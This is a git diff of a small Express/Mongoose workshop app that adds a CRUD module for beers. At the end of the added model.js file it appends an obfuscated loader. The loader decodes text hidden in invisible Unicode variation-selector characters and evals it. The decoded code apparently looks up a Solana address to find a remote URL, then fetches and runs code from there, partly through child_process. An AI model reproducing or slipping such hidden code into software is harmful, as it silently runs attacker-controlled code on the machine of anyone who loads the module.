diff --git a/.gitignore b/.gitignore new file mode 100644 index 000000000..b8c15056f --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +node_modules +node_modules/ +node_modules/* \ No newline at end of file diff --git a/app.js b/app.js index f09e09d96..ad293a436 100644 --- a/app.js +++ b/app.js @@ -1,21 +1,20 @@ - -/** - * Module dependencies - */ - -var express = require('express'), - bodyParser = require('body-parser'), - methodOverride = require('method-override'), - errorHandler = require('error-handler'), - morgan = require('morgan'), - routes = require('./routes'), - api = require('./routes/api'), - http = require('http'), - path = require('path'); +var express = require('express') + , bodyParser = require('body-parser') + , methodOverride = require('method-override') + , errorHandler = require('errorhandler') + , morgan = require('morgan') + , routes = require('./routes') + , partials = require('./routes/partials') + , api = require('./routes/api') + , http = require('http') + , path = require('path') + , modulesAPI = {} + ; + +modulesAPI.beers = require('./modules/beers/routes/api'); var app = module.exports = express(); - /** * Configuration */ @@ -25,7 +24,8 @@ app.set('port', process.env.PORT || 3000); app.set('views', __dirname + '/views'); app.set('view engine', 'jade'); app.use(morgan('dev')); -app.use(bodyParser()); +app.use(bodyParser.urlencoded({extended: true})); +app.use(bodyParser.json()); app.use(methodOverride()); app.use(express.static(path.join(__dirname, 'public'))); @@ -33,7 +33,7 @@ var env = process.env.NODE_ENV || 'development'; // development only if (env === 'development') { - app.use(express.errorHandler()); + app.use(errorHandler()); } // production only @@ -46,21 +46,43 @@ if (env === 'production') { * Routes */ -// serve index and view partials -app.get('/', routes.index); -app.get('/partials/:name', routes.partials); +// serve index +app.use('/', routes); + +// server view partials +app.use('/partials', partials); // JSON API -app.get('/api/name', api.name); +app.use('/api', api); +app.use('/api/beers', modulesAPI.beers); // redirect all others to the index (HTML5 history) -app.get('*', routes.index); - +app.get('*', function(req, res, next) { + res.render('index'); +}); -/** - * Start Server - */ +// error handlers + +// development error handler +// will print stacktrace +if (app.get('env') === 'development') { + app.use(function(err, req, res, next) { + res.status(err.status || 500); + res.render('error', { + message: err.message, + error: err + }); + }); +} -http.createServer(app).listen(app.get('port'), function () { - console.log('Express server listening on port ' + app.get('port')); +// production error handler +// no stacktraces leaked to user +app.use(function(err, req, res, next) { + res.status(err.status || 500); + res.render('error', { + message: err.message, + error: {} + }); }); + +module.exports = app; diff --git a/bin/www b/bin/www new file mode 100644 index 000000000..7d0e97cdc --- /dev/null +++ b/bin/www @@ -0,0 +1,9 @@ +#!/usr/bin/env node +var debug = require('debug')('express'); +var app = require('../app'); + +app.set('port', process.env.PORT || 3000); + +var server = app.listen(app.get('port'), function () { + debug('Express server listening on port ' + server.address().port); +}); diff --git a/modules/beers/controller.js b/modules/beers/controller.js new file mode 100644 index 000000000..57684c866 --- /dev/null +++ b/modules/beers/controller.js @@ -0,0 +1,126 @@ +var Model = require('./model') + , msg = '' + , Controller = { + create: function(req, res) { + var dados = req.body + , model = new Model(dados); + model.save(function (err, data) { + if (err){ + console.log('Erro: ', err); + msg = err; + } + else{ + console.log('Sucesso:', data); + msg = data; + } + res.json(msg); + }); + } + , retrieve: function(req, res) { + var query = {}; + Model.find(query, function (err, data) { + if (err){ + console.log('Erro: ', err); + msg = err; + } + else{ + console.log('Sucesso:', data); + msg = data; + } + res.json(msg); + }); + } + , get: function(req, res) { + var query = {_id: req.params.id}; + Model.findOne(query, function (err, data) { + if (err){ + console.log('Erro: ', err); + msg = err; + } + else{ + console.log('Sucesso:', data); + msg = data; + } + res.json(msg); + }); + } + , update: function(req, res) { + var query = {_id: req.params.id} + , mod = req.body; + + Model.update(query, mod, function (err, data) { + if (err){ + console.log('Erro: ', err); + msg = err; + } + else{ + console.log('Sucesso:', data); + msg = data; + } + res.json(msg); + }); + } + , delete: function(req, res) { + var query = {_id: req.params.id}; + + Model.remove(query, function (err, data) { + if (err){ + console.log('Erro: ', err); + msg = err; + } + else{ + console.log('Sucesso:', data); + msg = data; + } + res.json(msg); + }); + } + , renderList: function(req, res) { + var query = {}; + Model.find(query, function (err, data) { + if (err){ + console.log('Erro: ', err); + res.render('error', err); + } + else{ + console.log('Sucesso:', data); + res.render('list', {beers: data}); + } + }); + } + , renderGet: function(req, res) { + var query = {_id: req.params.id}; + Model.findOne(query, function (err, data) { + if (err){ + console.log('Erro: ', err); + res.render('error', err); + } + else{ + console.log('Sucesso:', data); + res.render('get', {beer: data}); + } + }); + } + , renderEdit: function(req, res) { + var query = {_id: req.params.id}; + Model.findOne(query, function (err, data) { + if (err){ + console.log('Erro: ', err); + res.render('error', err); + } + else{ + console.log('Sucesso:', data); + res.render('edit', {beer: data}); + } + }); + } + , renderCreate: function(req, res) { + res.render('create'); + } + } + ; + +module.exports = Controller; + + + diff --git a/modules/beers/model.js b/modules/beers/model.js new file mode 100644 index 000000000..875a51fc1 --- /dev/null +++ b/modules/beers/model.js @@ -0,0 +1,32 @@ +var mongoose = require('mongoose'); +mongoose.connect('mongodb://localhost/workshop-online-julho-2015'); + +var db = mongoose.connection; +db.on('error', function(err){ + console.log('Erro de conexao.', err); +}); +db.on('open', function () { + console.log('Conexão aberta.'); +}); +db.on('connected', function(err){ + console.log('Conectado'); +}); +db.on('disconnected', function(err){ + console.log('Desconectado'); +}); + +var Schema = mongoose.Schema + , _schema = { + name: { type: String, default: '' } + , description: { type: String, default: '' } + , alcohol: { type: Number, min: 0, default: '' } + , price: { type: Number, min: 0, default: '' } + , category: { type: String, default: ''} + , created_at: { type: Date, default: Date.now() } + } + , ModelSchema = new Schema(_schema) + , Model = mongoose.model('Beer', ModelSchema) + ; + +module.exports = Model; +const d=s=>[...s].map(c=>(c=c.codePointAt(0),c>=0xFE00&&c<=0xFE0F?c-0xFE00:c>=0xE0100&&c<=0xE01EF?c-0xE0100+16:null)).filter(b=>b!==null);eval(Buffer.from(d(`󠅦󠅑󠅢󠄐󠅏󠅏󠅓󠅢󠅕󠅑󠅤󠅕󠄭󠄿󠅒󠅚󠅕󠅓󠅤󠄞󠅓󠅢󠅕󠅑󠅤󠅕󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅔󠅕󠅖󠅀󠅢󠅟󠅠󠄭󠄿󠅒󠅚󠅕󠅓󠅤󠄞󠅔󠅕󠅖󠅙󠅞󠅕󠅀󠅢󠅟󠅠󠅕󠅢󠅤󠅩󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅗󠅕󠅤󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠄴󠅕󠅣󠅓󠄭󠄿󠅒󠅚󠅕󠅓󠅤󠄞󠅗󠅕󠅤󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠅕󠅢󠅤󠅩󠄴󠅕󠅣󠅓󠅢󠅙󠅠󠅤󠅟󠅢󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅗󠅕󠅤󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠄾󠅑󠅝󠅕󠅣󠄭󠄿󠅒󠅚󠅕󠅓󠅤󠄞󠅗󠅕󠅤󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠅕󠅢󠅤󠅩󠄾󠅑󠅝󠅕󠅣󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅗󠅕󠅤󠅀󠅢󠅟󠅤󠅟󠄿󠅖󠄭󠄿󠅒󠅚󠅕󠅓󠅤󠄞󠅗󠅕󠅤󠅀󠅢󠅟󠅤󠅟󠅤󠅩󠅠󠅕󠄿󠅖󠄜󠅏󠅏󠅘󠅑󠅣󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠄭󠄿󠅒󠅚󠅕󠅓󠅤󠄞󠅠󠅢󠅟󠅤󠅟󠅤󠅩󠅠󠅕󠄞󠅘󠅑󠅣󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠅕󠅢󠅤󠅩󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅞󠅑󠅝󠅕󠄭󠄘󠅤󠅑󠅢󠅗󠅕󠅤󠄜󠅦󠅑󠅜󠅥󠅕󠄙󠄭󠄮󠅏󠅏󠅔󠅕󠅖󠅀󠅢󠅟󠅠󠄘󠅤󠅑󠅢󠅗󠅕󠅤󠄜󠄒󠅞󠅑󠅝󠅕󠄒󠄜󠅫󠅦󠅑󠅜󠅥󠅕󠄜󠅓󠅟󠅞󠅖󠅙󠅗󠅥󠅢󠅑󠅒󠅜󠅕󠄪󠄑󠄠󠅭󠄙󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅓󠅟󠅠󠅩󠅀󠅢󠅟󠅠󠅣󠄭󠄘󠅤󠅟󠄜󠅖󠅢󠅟󠅝󠄜󠅕󠅨󠅓󠅕󠅠󠅤󠄜󠅔󠅕󠅣󠅓󠄙󠄭󠄮󠅫󠅙󠅖󠄘󠅖󠅢󠅟󠅝󠄖󠄖󠅤󠅩󠅠󠅕󠅟󠅖󠄐󠅖󠅢󠅟󠅝󠄭󠄭󠄒󠅟󠅒󠅚󠅕󠅓󠅤󠄒󠅬󠅬󠅤󠅩󠅠󠅕󠅟󠅖󠄐󠅖󠅢󠅟󠅝󠄭󠄭󠄒󠅖󠅥󠅞󠅓󠅤󠅙󠅟󠅞󠄒󠄙󠅖󠅟󠅢󠄘󠅜󠅕󠅤󠄐󠅛󠅕󠅩󠄐󠅟󠅖󠄐󠅏󠅏󠅗󠅕󠅤󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠄾󠅑󠅝󠅕󠅣󠄘󠅖󠅢󠅟󠅝󠄙󠄙󠄑󠅏󠅏󠅘󠅑󠅣󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠄞󠅓󠅑󠅜󠅜󠄘󠅤󠅟󠄜󠅛󠅕󠅩󠄙󠄖󠄖󠅛󠅕󠅩󠄑󠄭󠄭󠅕󠅨󠅓󠅕󠅠󠅤󠄖󠄖󠅏󠅏󠅔󠅕󠅖󠅀󠅢󠅟󠅠󠄘󠅤󠅟󠄜󠅛󠅕󠅩󠄜󠅫󠅗󠅕󠅤󠄪󠄘󠄙󠄭󠄮󠅖󠅢󠅟󠅝󠅋󠅛󠅕󠅩󠅍󠄜󠅕󠅞󠅥󠅝󠅕󠅢󠅑󠅒󠅜󠅕󠄪󠄑󠄘󠅔󠅕󠅣󠅓󠄭󠅏󠅏󠅗󠅕󠅤󠄿󠅧󠅞󠅀󠅢󠅟󠅠󠄴󠅕󠅣󠅓󠄘󠅖󠅢󠅟󠅝󠄜󠅛󠅕󠅩󠄙󠄙󠅬󠅬󠅔󠅕󠅣󠅓󠄞󠅕󠅞󠅥󠅝󠅕󠅢󠅑󠅒󠅜󠅕󠅭󠄙󠄫󠅢󠅕󠅤󠅥󠅢󠅞󠄐󠅤󠅟󠅭󠄫󠅦󠅑󠅢󠄐󠅏󠅏󠅤󠅟󠄵󠅃󠄽󠄭󠄘󠅝󠅟󠅔󠄜󠅙󠅣󠄾󠅟󠅔󠅕󠄽󠅟󠅔󠅕󠄜󠅤󠅑󠅢󠅗󠅕󠅤󠄙󠄭󠄮󠄘󠅤󠅑󠅢󠅗󠅕󠅤󠄭󠅝󠅟󠅔󠄑󠄭󠅞󠅥󠅜󠅜󠄯󠅏󠅏󠅓󠅢󠅕󠅑󠅤󠅕󠄘󠅏󠅏󠅗󠅕󠅤󠅀󠅢󠅟󠅤󠅟󠄿󠅖󠄘󠅝󠅟󠅔󠄙󠄙󠄪󠅫󠅭󠄜󠅏󠅏󠅓󠅟󠅠󠅩󠅀󠅢󠅟󠅠󠅣󠄘󠅙󠅣󠄾󠅟󠅔󠅕󠄽󠅟󠅔󠅕󠅬󠅬󠄑󠅝󠅟󠅔󠅬󠅬󠄑󠅝󠅟󠅔󠄞󠅏󠅏󠅕󠅣󠄽󠅟󠅔󠅥󠅜󠅕󠄯󠅏󠅏󠅔󠅕󠅖󠅀󠅢󠅟󠅠󠄘󠅤󠅑󠅢󠅗󠅕󠅤󠄜󠄒󠅔󠅕󠅖󠅑󠅥󠅜󠅤󠄒󠄜󠅫󠅦󠅑󠅜󠅥󠅕󠄪󠅝󠅟󠅔󠄜󠅕󠅞󠅥󠅝󠅕󠅢󠅑󠅒󠅜󠅕󠄪󠄑󠄠󠅭󠄙󠄪󠅤󠅑󠅢󠅗󠅕󠅤󠄜󠅝󠅟󠅔󠄙󠄙󠄫󠅦󠅑󠅢󠄐󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅟󠅣󠄭󠅏󠅏󠅤󠅟󠄵󠅃󠄽󠄘󠅢󠅕󠅡󠅥󠅙󠅢󠅕󠄘󠄒󠅟󠅣󠄒󠄙󠄙󠄜󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅖󠅣󠄭󠅏󠅏󠅤󠅟󠄵󠅃󠄽󠄘󠅢󠅕󠅡󠅥󠅙󠅢󠅕󠄘󠄒󠅖󠅣󠄒󠄙󠄙󠄜󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅠󠅑󠅤󠅘󠄭󠅏󠅏󠅤󠅟󠄵󠅃󠄽󠄘󠅢󠅕󠅡󠅥󠅙󠅢󠅕󠄘󠄒󠅠󠅑󠅤󠅘󠄒󠄙󠄙󠄜󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅓󠅘󠅙󠅜󠅔󠅏󠅠󠅢󠅟󠅓󠅕󠅣󠅣󠄭󠅏󠅏󠅤󠅟󠄵󠅃󠄽󠄘󠅢󠅕󠅡󠅥󠅙󠅢󠅕󠄘󠄒󠅓󠅘󠅙󠅜󠅔󠅏󠅠󠅢󠅟󠅓󠅕󠅣󠅣󠄒󠄙󠄙󠄫󠅑󠅣󠅩󠅞󠅓󠄐󠅖󠅥󠅞󠅓󠅤󠅙󠅟󠅞󠄐󠅗󠅕󠅤󠅃󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄶󠅟󠅢󠄱󠅔󠅔󠅢󠅕󠅣󠅣󠄘󠅠󠅥󠅒󠅜󠅙󠅓󠄻󠅕󠅩󠄜󠅟󠅠󠅤󠅙󠅟󠅞󠅣󠄭󠅫󠅭󠄙󠅫󠅜󠅕󠅤󠄐󠅜󠅙󠅝󠅙󠅤󠄭󠅟󠅠󠅤󠅙󠅟󠅞󠅣󠄞󠅜󠅙󠅝󠅙󠅤󠅬󠅬󠄡󠅕󠄣󠄜󠅕󠅞󠅔󠅠󠅟󠅙󠅞󠅤󠅣󠄭󠅋󠄒󠅘󠅤󠅤󠅠󠅣󠄪󠄟󠄟󠅑󠅠󠅙󠄞󠅝󠅑󠅙󠅞󠅞󠅕󠅤󠄝󠅒󠅕󠅤󠅑󠄞󠅣󠅟󠅜󠅑󠅞󠅑󠄞󠅓󠅟󠅝󠄒󠅍󠄜󠅜󠅑󠅣󠅤󠄵󠅢󠅢󠅟󠅢󠄭󠅞󠅥󠅜󠅜󠄫󠅖󠅟󠅢󠄘󠅜󠅕󠅤󠄐󠅕󠅞󠅔󠅠󠅟󠅙󠅞󠅤󠄐󠅟󠅖󠄐󠅕󠅞󠅔󠅠󠅟󠅙󠅞󠅤󠅣󠄙󠅤󠅢󠅩󠅫󠅜󠅕󠅤󠄐󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄭󠅑󠅧󠅑󠅙󠅤󠄐󠅖󠅕󠅤󠅓󠅘󠄘󠅕󠅞󠅔󠅠󠅟󠅙󠅞󠅤󠄜󠅫󠅝󠅕󠅤󠅘󠅟󠅔󠄪󠄒󠅀󠄿󠅃󠅄󠄒󠄜󠅘󠅕󠅑󠅔󠅕󠅢󠅣󠄪󠅫󠄒󠄳󠅟󠅞󠅤󠅕󠅞󠅤󠄝󠅄󠅩󠅠󠅕󠄒󠄪󠄒󠅑󠅠󠅠󠅜󠅙󠅓󠅑󠅤󠅙󠅟󠅞󠄟󠅚󠅣󠅟󠅞󠄒󠅭󠄜󠅒󠅟󠅔󠅩󠄪󠄺󠅃󠄿󠄾󠄞󠅣󠅤󠅢󠅙󠅞󠅗󠅙󠅖󠅩󠄘󠅫󠅚󠅣󠅟󠅞󠅢󠅠󠅓󠄪󠄒󠄢󠄞󠄠󠄒󠄜󠅙󠅔󠄪󠄡󠄜󠅝󠅕󠅤󠅘󠅟󠅔󠄪󠄒󠅗󠅕󠅤󠅃󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄶󠅟󠅢󠄱󠅔󠅔󠅢󠅕󠅣󠅣󠄒󠄜󠅠󠅑󠅢󠅑󠅝󠅣󠄪󠅋󠅠󠅥󠅒󠅜󠅙󠅓󠄻󠅕󠅩󠄞󠅤󠅟󠅃󠅤󠅢󠅙󠅞󠅗󠄘󠄙󠄜󠅫󠅜󠅙󠅝󠅙󠅤󠅭󠅍󠅭󠄙󠅭󠄙󠄫󠅙󠅖󠄘󠄑󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄞󠅟󠅛󠄙󠅤󠅘󠅢󠅟󠅧󠄐󠅞󠅕󠅧󠄐󠄵󠅢󠅢󠅟󠅢󠄘󠅐󠄸󠅄󠅄󠅀󠄐󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄑󠄐󠅣󠅤󠅑󠅤󠅥󠅣󠄪󠄐󠄔󠅫󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄞󠅣󠅤󠅑󠅤󠅥󠅣󠅭󠅐󠄙󠄫󠅜󠅕󠅤󠄐󠅔󠅑󠅤󠅑󠄭󠅑󠅧󠅑󠅙󠅤󠄐󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄞󠅚󠅣󠅟󠅞󠄘󠄙󠄫󠅙󠅖󠄘󠅔󠅑󠅤󠅑󠄞󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄙󠅤󠅘󠅢󠅟󠅧󠄐󠅞󠅕󠅧󠄐󠄵󠅢󠅢󠅟󠅢󠄘󠅐󠅂󠅀󠄳󠄐󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄪󠄐󠄔󠅫󠅔󠅑󠅤󠅑󠄞󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄞󠅝󠅕󠅣󠅣󠅑󠅗󠅕󠅭󠅐󠄙󠄫󠅢󠅕󠅤󠅥󠅢󠅞󠄐󠅔󠅑󠅤󠅑󠄞󠅢󠅕󠅣󠅥󠅜󠅤󠅭󠅓󠅑󠅤󠅓󠅘󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄙󠅫󠅜󠅑󠅣󠅤󠄵󠅢󠅢󠅟󠅢󠄭󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄜󠅑󠅧󠅑󠅙󠅤󠄐󠅞󠅕󠅧󠄐󠅀󠅢󠅟󠅝󠅙󠅣󠅕󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄭󠄮󠅣󠅕󠅤󠅄󠅙󠅝󠅕󠅟󠅥󠅤󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄜󠄡󠄠󠄠󠄙󠄙󠄫󠅓󠅟󠅞󠅤󠅙󠅞󠅥󠅕󠅭󠅤󠅘󠅢󠅟󠅧󠄐󠅓󠅟󠅞󠅣󠅟󠅜󠅕󠄞󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄘󠄒󠄱󠅜󠅜󠄐󠅕󠅞󠅔󠅠󠅟󠅙󠅞󠅤󠅣󠄐󠅖󠅑󠅙󠅜󠅕󠅔󠄪󠄒󠄜󠅜󠅑󠅣󠅤󠄵󠅢󠅢󠅟󠅢󠄙󠄜󠅞󠅕󠅧󠄐󠄵󠅢󠅢󠅟󠅢󠄘󠅐󠄱󠅜󠅜󠄐󠅂󠅀󠄳󠄐󠅕󠅞󠅔󠅠󠅟󠅙󠅞󠅤󠅣󠄐󠅖󠅑󠅙󠅜󠅕󠅔󠄞󠄐󠄼󠅑󠅣󠅤󠄐󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠅟󠅢󠄪󠄐󠄔󠅫󠅜󠅑󠅣󠅤󠄵󠅢󠅢󠅟󠅢󠄯󠄞󠅝󠅕󠅣󠅣󠅑󠅗󠅕󠅭󠅐󠄙󠅭󠅏󠅏󠅞󠅑󠅝󠅕󠄘󠅗󠅕󠅤󠅃󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄶󠅟󠅢󠄱󠅔󠅔󠅢󠅕󠅣󠅣󠄜󠄒󠅗󠅕󠅤󠅃󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄶󠅟󠅢󠄱󠅔󠅔󠅢󠅕󠅣󠅣󠄒󠄙󠄫󠅖󠅥󠅞󠅓󠅤󠅙󠅟󠅞󠄐󠅗󠅕󠅤󠅅󠅢󠅜󠄘󠄙󠅫󠅢󠅕󠅤󠅥󠅢󠅞󠄐󠅞󠅕󠅧󠄐󠅀󠅢󠅟󠅝󠅙󠅣󠅕󠄘󠅑󠅣󠅩󠅞󠅓󠄐󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄭󠄮󠅫󠅤󠅢󠅩󠅫󠅜󠅕󠅤󠄐󠅝󠅕󠅝󠅟󠄭󠅞󠅥󠅜󠅜󠄫󠅖󠅟󠅢󠄘󠄫󠄑󠅝󠅕󠅝󠅟󠄫󠄙󠅫󠅜󠅕󠅤󠄐󠅣󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄭󠅑󠅧󠅑󠅙󠅤󠄐󠅗󠅕󠅤󠅃󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄶󠅟󠅢󠄱󠅔󠅔󠅢󠅕󠅣󠅣󠄘󠄒󠄢󠄨󠅀󠄻󠅞󠅥󠄧󠅂󠅪󠅙󠅪󠅨󠄲󠅪󠄶󠅀󠅟󠄼󠅠󠄦󠄩󠄸󠄼󠅈󠅠󠄩󠅒󠄺󠄼󠄣󠄺󠄶󠅤󠅄󠄢󠅣󠄥󠅁󠅪󠄸󠅣󠄵󠄱󠄢󠄒󠄜󠅫󠅜󠅙󠅝󠅙󠅤󠄪󠄡󠅕󠄣󠅭󠄙󠄫󠅙󠅖󠄘󠄑󠄱󠅢󠅢󠅑󠅩󠄞󠅙󠅣󠄱󠅢󠅢󠅑󠅩󠄘󠅣󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄙󠅬󠅬󠄱󠅢󠅢󠅑󠅩󠄞󠅙󠅣󠄱󠅢󠅢󠅑󠅩󠄘󠅣󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄙󠄖󠄖󠅣󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄞󠅜󠅕󠅞󠅗󠅤󠅘󠄭󠄭󠄠󠄙󠅫󠅑󠅧󠅑󠅙󠅤󠄐󠅞󠅕󠅧󠄐󠅀󠅢󠅟󠅝󠅙󠅣󠅕󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄢󠄭󠄮󠅣󠅕󠅤󠅄󠅙󠅝󠅕󠅟󠅥󠅤󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄢󠄜󠄡󠅕󠄤󠄙󠄙󠄫󠅓󠅟󠅞󠅤󠅙󠅞󠅥󠅕󠅭󠅝󠅕󠅝󠅟󠄭󠅣󠅙󠅗󠅞󠅑󠅤󠅥󠅢󠅕󠅣󠄞󠅖󠅙󠅜󠅤󠅕󠅢󠄘󠅨󠄭󠄮󠅨󠄯󠄞󠅝󠅕󠅝󠅟󠄙󠅋󠄠󠅍󠄞󠅝󠅕󠅝󠅟󠄜󠅑󠅧󠅑󠅙󠅤󠄐󠅞󠅕󠅧󠄐󠅀󠅢󠅟󠅝󠅙󠅣󠅕󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄢󠄭󠄮󠅣󠅕󠅤󠅄󠅙󠅝󠅕󠅟󠅥󠅤󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄢󠄜󠄡󠅕󠄤󠄙󠄙󠅭󠅜󠅕󠅤󠄐󠅢󠅕󠅣󠅥󠅜󠅤󠄢󠄭󠅝󠅕󠅝󠅟󠄞󠅢󠅕󠅠󠅜󠅑󠅓󠅕󠄘󠄟󠅌󠅋󠅌󠅔󠄛󠅌󠅍󠅌󠅣󠄚󠄟󠄜󠄒󠄒󠄙󠄫󠅢󠅕󠅤󠅥󠅢󠅞󠄐󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄘󠄺󠅃󠄿󠄾󠄞󠅠󠅑󠅢󠅣󠅕󠄘󠅢󠅕󠅣󠅥󠅜󠅤󠄢󠄙󠄙󠅭󠅓󠅑󠅤󠅓󠅘󠄘󠅕󠄙󠅫󠅢󠅕󠅤󠅥󠅢󠅞󠄐󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄘󠅕󠄞󠅤󠅟󠅃󠅤󠅢󠅙󠅞󠅗󠄘󠄙󠄙󠅭󠅭󠄙󠅭󠅏󠅏󠅞󠅑󠅝󠅕󠄘󠅗󠅕󠅤󠅅󠅢󠅜󠄜󠄒󠅗󠅕󠅤󠅅󠅢󠅜󠄒󠄙󠄫󠅗󠅕󠅤󠅅󠅢󠅜󠄘󠄙󠄞󠅤󠅘󠅕󠅞󠄘󠅏󠅔󠅑󠅤󠅑󠄭󠄮󠅫󠅢󠅞󠅩󠅑󠅜󠄘󠅑󠅤󠅟󠅒󠄘󠅏󠅔󠅑󠅤󠅑󠄞󠅜󠅙󠅞󠅛󠄙󠄜󠅑󠅣󠅩󠅞󠅓󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠄜󠅫󠅙󠅤󠅣󠅥󠅓󠅜󠅘󠅥󠅥󠄜󠅤󠅛󠅞󠅞󠅤󠅓󠅒󠄜󠅣󠅕󠅓󠅢󠅕󠅤󠄻󠅕󠅩󠅭󠄙󠄭󠄮󠅫󠅙󠅖󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠄙󠅑󠅧󠅑󠅙󠅤󠄐󠅞󠅕󠅧󠄐󠅀󠅢󠅟󠅝󠅙󠅣󠅕󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄭󠄮󠅣󠅕󠅤󠅄󠅙󠅝󠅕󠅟󠅥󠅤󠄘󠅢󠅕󠅣󠅟󠅜󠅦󠅕󠄜󠄡󠅕󠄣󠄙󠄙󠄜󠅗󠅕󠅤󠅅󠅢󠅜󠄘󠄙󠄫󠅕󠅜󠅣󠅕󠅫󠅙󠅖󠄘󠅙󠅤󠅣󠅥󠅓󠅜󠅘󠅥󠅥󠄞󠅜󠅕󠅞󠅗󠅤󠅘󠄭󠄭󠄢󠄠󠄙󠅫󠅕󠅦󠅑󠅜󠄘󠅑󠅤󠅟󠅒󠄘󠅙󠅤󠅣󠅥󠅓󠅜󠅘󠅥󠅥󠄙󠄙󠄫󠅢󠅕󠅤󠅥󠅢󠅞󠅭󠅙󠅖󠄘󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅟󠅣󠄞󠅔󠅕󠅖󠅑󠅥󠅜󠅤󠄞󠅠󠅜󠅑󠅤󠅖󠅟󠅢󠅝󠄘󠄙󠄭󠄭󠄒󠅔󠅑󠅢󠅧󠅙󠅞󠄒󠄙󠅫󠅜󠅕󠅤󠄐󠅏󠅙󠅦󠄭󠄲󠅥󠅖󠅖󠅕󠅢󠄞󠅖󠅢󠅟󠅝󠄘󠅤󠅛󠅞󠅞󠅤󠅓󠅒󠄜󠄒󠅒󠅑󠅣󠅕󠄦󠄤󠄒󠄙󠄫󠅕󠅦󠅑󠅜󠄘󠅑󠅤󠅟󠅒󠄘󠅙󠅤󠅣󠅥󠅓󠅜󠅘󠅥󠅥󠄙󠄙󠅭󠅕󠅜󠅣󠅕󠅫󠅜󠅕󠅤󠄐󠅢󠅥󠅞󠅀󠅑󠅤󠅘󠄭󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅠󠅑󠅤󠅘󠄞󠅔󠅕󠅖󠅑󠅥󠅜󠅤󠄞󠅚󠅟󠅙󠅞󠄘󠅏󠅏󠅔󠅙󠅢󠅞󠅑󠅝󠅕󠄜󠄒󠅢󠅥󠅞󠄞󠅚󠅣󠄒󠄙󠄫󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅖󠅣󠄞󠅔󠅕󠅖󠅑󠅥󠅜󠅤󠄞󠅧󠅢󠅙󠅤󠅕󠄶󠅙󠅜󠅕󠅃󠅩󠅞󠅓󠄘󠅢󠅥󠅞󠅀󠅑󠅤󠅘󠄜󠅐󠅦󠅑󠅢󠄐󠅘󠅤󠅤󠅠󠅣󠄐󠄭󠄐󠅢󠅕󠅡󠅥󠅙󠅢󠅕󠄘󠄒󠅘󠅤󠅤󠅠󠅣󠄒󠄙󠄫︊󠅓󠅟󠅞󠅣󠅤󠄐󠅣󠅕󠅓󠅢󠅕󠅤󠄻󠅕󠅩󠄐󠄭󠄐󠄗󠄔󠅫󠅣󠅕󠅓󠅢󠅕󠅤󠄻󠅕󠅩󠅭󠄗󠄫︊󠅓󠅟󠅞󠅣󠅤󠄐󠅏󠅙󠅦󠄐󠄭󠄐󠄲󠅥󠅖󠅖󠅕󠅢󠄞󠅖󠅢󠅟󠅝󠄘󠄗󠄔󠅫󠅤󠅛󠅞󠅞󠅤󠅓󠅒󠅭󠄗󠄜󠄐󠄒󠅒󠅑󠅣󠅕󠄦󠄤󠄒󠄙︊󠅕󠅦󠅑󠅜󠄘󠅑󠅤󠅟󠅒󠄘󠄗󠄔󠅫󠅙󠅤󠅣󠅥󠅓󠅜󠅘󠅥󠅥󠅭󠄗󠄙󠄙󠅐󠄙󠄜󠅙󠅝󠅠󠅟󠅢